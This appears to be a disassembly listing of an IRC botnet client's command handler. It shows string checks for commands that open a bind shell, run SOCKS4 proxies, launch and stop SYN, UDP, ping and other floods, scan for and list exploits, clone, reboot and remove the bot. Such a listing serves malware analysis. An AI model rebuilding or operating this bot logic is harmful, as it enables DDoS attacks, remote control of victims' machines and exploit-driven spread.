loc_4022FE:				; CODE XREF: sub_401ACD+82Aj
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_88], eax


loc_40230A:				; CODE XREF: sub_401ACD+82Fj
		cmp	[ebp+var_84], ebx
		jz	loc_401E94
		inc	[ebp+var_84]
		jz	short loc_402356
		cmp	[ebp+arg_10], ebx
		jz	short loc_402356
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41AFE0
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41BE70
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_40235C
; ---------------------------------------------------------------------------


loc_402356:				; CODE XREF: sub_401ACD+84Fj
					; sub_401ACD+854j
		mov	esi, [ebp+var_AC]


loc_40235C:				; CODE XREF: sub_401ACD+887j
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401E94
		push	edi
		push	offset dword_42C8DC
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_4023A7
		mov	eax, dword_4CAE28
		mov	eax, off_429164[eax*4]
		cmp	[eax], bl
		jz	short loc_4023A7
		push	eax
		push	ecx
		push	offset dword_42C8C0
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4023A7:				; CODE XREF: sub_401ACD+8BCj
					; sub_401ACD+8CCj
		push	edi
		push	offset dword_42C8B8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_40217C
		push	eax
		push	ecx
		push	offset dword_42C8A0
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4023E6:				; CODE XREF: sub_401ACD+7D5j
					; sub_401ACD+7852j
		nop
		call	near ptr 2660D84h
		push	eax
		push	offset unk_42C864
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_4023F7:				; CODE XREF: sub_401ACD+6F9j
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+esi+var_88]
		push	offset unk_42C820


loc_40240A:				; CODE XREF: sub_401ACD+7E29j
					; sub_401ACD+7E90j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	loc_4083BC
; ---------------------------------------------------------------------------


loc_40241E:				; CODE XREF: sub_401ACD+6EDj
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40256D
		cmp	[ebp+var_A4], ebx
		jz	loc_402546
		push	1Bh
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_402535
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AA8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_2910],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB0],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2990]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_2908],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2904],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C7F8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Bh
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_290C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB0]
		push	ebx
		push	eax
		push	offset byte_415C59
		push	ebx
		push	ebx
		nop
		call	near ptr 266057Dh
		mov	ecx, [ebp+var_290C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_402524


loc_40250E:				; CODE XREF: sub_401ACD+A55j
		cmp	[ebp+var_2900],	ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2660545h
		jmp	short loc_40250E
; ---------------------------------------------------------------------------


loc_402524:				; CODE XREF: sub_401ACD+A3Fj
		nop
		call	near ptr 2660D84h
		push	eax
		push	offset unk_42C7C0
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_402535:				; CODE XREF: sub_401ACD+982j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C790
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_402546:				; CODE XREF: sub_401ACD+972j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C75C
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_402557:				; CODE XREF: sub_401ACD+6D2j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429094
		mov	[edi], ecx
		jnz	loc_401E94


loc_40256D:				; CODE XREF: sub_401ACD+966j
		mov	edi, [edi]
		mov	[ebp+arg_8], edi
		push	edi
		mov	edi, offset aK	; "k"
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985C
		push	[ebp+arg_8]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985C
		cmp	[ebp+var_A4], ebx
		jnz	short loc_4025BD
		push	[ebp+var_8C]
		push	offset dword_42C930
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854


loc_4025BD:				; CODE XREF: sub_401ACD+AD4j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409854
		xor	edi, edi
		cmp	dword_429230, ebx
		jle	loc_402772
		mov	[ebp+arg_20], offset dword_43D130


loc_4025DB:				; CODE XREF: sub_401ACD+B2Dj
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402601
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_429230
		jl	short loc_4025DB
		jmp	loc_402772
; ---------------------------------------------------------------------------


loc_402601:				; CODE XREF: sub_401ACD+B1Dj
		push	offset asc_42CA30 ; " :"
		push	[ebp+arg_0]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		mov	cl, byte_429094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429094
		mov	[eax+3], cl
		lea	ecx, dword_43D148[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_402656:				; CODE XREF: sub_401ACD+C3Aj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026C2
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_4026C2
		lea	eax, dword_43D130[edi]
		push	eax
		call	sub_41AFE0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026FD
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026FD
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 0Ch
		jmp	short loc_4026FD
; ---------------------------------------------------------------------------


loc_4026C2:				; CODE XREF: sub_401ACD+BB1j
					; sub_401ACD+BB8j
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_4026FD
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 18h


loc_4026FD:				; CODE XREF: sub_401ACD+BCAj
					; sub_401ACD+BDEj ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_402656
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_40271A:				; CODE XREF: sub_401ACD+C99j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_40275D
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40275D
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 0Ch


loc_40275D:				; CODE XREF: sub_401ACD+C75j
					; sub_401ACD+C7Bj
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40271A
		mov	[ebp+var_2C8], 1


loc_402772:				; CODE XREF: sub_401ACD+B01j
					; sub_401ACD+B2Fj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_429094
		jz	short loc_40278B
		cmp	[ebp+var_2C8], ebx
		jz	loc_40297C


loc_40278B:				; CODE XREF: sub_401ACD+CB0j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_417EEE
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_0	; "$user"
		push	edi
		call	sub_417EEE
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_417EEE
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08D
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_417EEE
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_417EEE
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h


loc_4027FD:				; CODE XREF: sub_401ACD+E28j
		test	eax, eax
		jz	loc_4028FA
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_A0]
		push	offset asc_42C718 ; ")"
		push	eax
		call	sub_41C0F4
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_402849
		cmp	[ebp+var_A0], 39h
		jle	short loc_40285F


loc_402849:				; CODE XREF: sub_401ACD+D71j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_40285F:				; CODE XREF: sub_401ACD+D7Aj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	short loc_402885
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_402899
; ---------------------------------------------------------------------------


loc_402885:				; CODE XREF: sub_401ACD+DA1j
		call	sub_41B8E2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl


loc_402899:				; CODE XREF: sub_401ACD+DB6j
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41AFE0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 30h
		jmp	loc_4027FD
; ---------------------------------------------------------------------------


loc_4028FA:				; CODE XREF: sub_401ACD+D32j
		mov	edi, 1FFh
		lea	eax, [ebp+var_4488]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	edi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4AF0]
		push	offset asc_42CA2C ; " "
		push	eax
		call	sub_41C0F4
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh


loc_40294A:				; CODE XREF: sub_401ACD+E92j
		push	offset asc_42CA2C ; " "
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40294A
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401E94
		add	ecx, 3
		mov	[eax], ecx


loc_40297C:				; CODE XREF: sub_401ACD+CB8j
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409802
		push	edi
		push	offset aRn	; "rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409802
		push	edi
		push	offset aDie	; "die"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FC
		push	edi
		push	offset aD	; "d"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FC
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404954
		push	edi
		push	offset aLo	; "lo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404954
		push	edi
		push	offset aVersion	; "version"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404945
		push	edi
		push	offset aVer	; "ver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404945
		push	edi
		push	offset aDedication ; "dedication"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493B
		push	edi
		push	offset aDed	; "ded"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493B
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404922
		push	edi
		push	offset aSt	; "st"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404922
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471E
		push	edi
		push	offset aBd	; "bd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471E
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B40
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42C66C


loc_402B24:				; CODE XREF: sub_401ACD+10C1j
					; sub_401ACD+10E7j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B384
		add	esp, 20h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402B40:				; CODE XREF: sub_401ACD+1042j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FC
		push	edi
		push	offset aS4	; "s4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FC
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B90
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42C644
		jmp	short loc_402B24
; ---------------------------------------------------------------------------


loc_402B90:				; CODE XREF: sub_401ACD+10ACj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BB9
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42C628
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402BB9:				; CODE XREF: sub_401ACD+10D2j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BE2
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42C60C
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402BE2:				; CODE XREF: sub_401ACD+10FBj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C0B
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42C5F8
		push	offset dword_42C5EC
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402C0B:				; CODE XREF: sub_401ACD+1124j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C34
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42C5CC
		push	offset dword_42C5BC
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402C34:				; CODE XREF: sub_401ACD+114Dj
		push	edi
		push	offset dword_42C5B0
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C5D
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42C5A4
		push	offset dword_42C598
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402C5D:				; CODE XREF: sub_401ACD+1176j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C86
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42C584
		push	offset dword_42C578
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402C86:				; CODE XREF: sub_401ACD+119Fj
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CAF
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42C55C
		push	offset dword_42C54C
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402CAF:				; CODE XREF: sub_401ACD+11C8j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CD8
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42C530
		push	offset dword_42C520
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402CD8:				; CODE XREF: sub_401ACD+11F1j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D01
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42C508
		push	offset dword_42C4FC
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402D01:				; CODE XREF: sub_401ACD+121Aj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E57
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_42C5A4
		push	offset dword_42C598
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	0Eh
		push	offset dword_42C584
		push	offset dword_42C578
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42C4E4
		push	offset dword_42C4D8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	16h
		push	offset dword_42C4CC
		push	offset dword_42C4C0
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42C530
		push	offset dword_42C520
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	12h
		push	offset dword_42C508
		push	offset dword_42C4FC
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42C4B0
		push	offset dword_42C4A0
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	13h
		push	offset dword_42C490
		push	offset dword_42C480
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42C55C
		push	offset dword_42C54C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42C44C
		push	[ebp+var_88]
		push	edi
		call	sub_409A72
		add	esp, 34h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402E57:				; CODE XREF: sub_401ACD+1243j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E80
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42C4B0
		push	offset dword_42C4A0
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402E80:				; CODE XREF: sub_401ACD+1399j
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EA9
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42C490
		push	offset dword_42C480
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402EA9:				; CODE XREF: sub_401ACD+13C2j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ED2
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42C4E4
		push	offset dword_42C4D8
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402ED2:				; CODE XREF: sub_401ACD+13EBj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EFB
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42C4CC
		push	offset dword_42C4C0
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402EFB:				; CODE XREF: sub_401ACD+1414j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F24
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42C404
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402F24:				; CODE XREF: sub_401ACD+143Dj
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E4
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E4
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CC
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CC
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FA1
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42C3B4
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402FA1:				; CODE XREF: sub_401ACD+14BAj
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FCA
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42C390
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402FCA:				; CODE XREF: sub_401ACD+14E3j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FF3
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42C370
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402FF3:				; CODE XREF: sub_401ACD+150Cj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B6
		push	edi
		push	offset aStats	; "stats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B6
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A0
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A0
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458A
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458A
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404574
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404574
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404555
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404555
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404533
		push	edi
		push	offset aDc	; "dc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404533
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EB
		push	edi
		push	offset aQ	; "q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EB
		push	edi
		push	offset aStatus	; "status"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D7
		push	edi
		push	offset aS_0	; "s"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D7
		push	edi
		push	offset aId	; "id"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A0
		push	edi
		push	offset aI	; "i"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A0
		push	edi
		push	offset aReboot	; "reboot"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4031BF
		call	sub_418337
		test	eax, eax
		mov	eax, offset unk_42C2AC
		jnz	short loc_403191
		mov	eax, offset unk_42C284


loc_403191:				; CODE XREF: sub_401ACD+16BDj
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 1Ch
		jmp	loc_4083BC
; ---------------------------------------------------------------------------


loc_4031BF:				; CODE XREF: sub_401ACD+16AFj
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C1
		push	edi
		push	offset aT	; "t"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C1
		push	edi
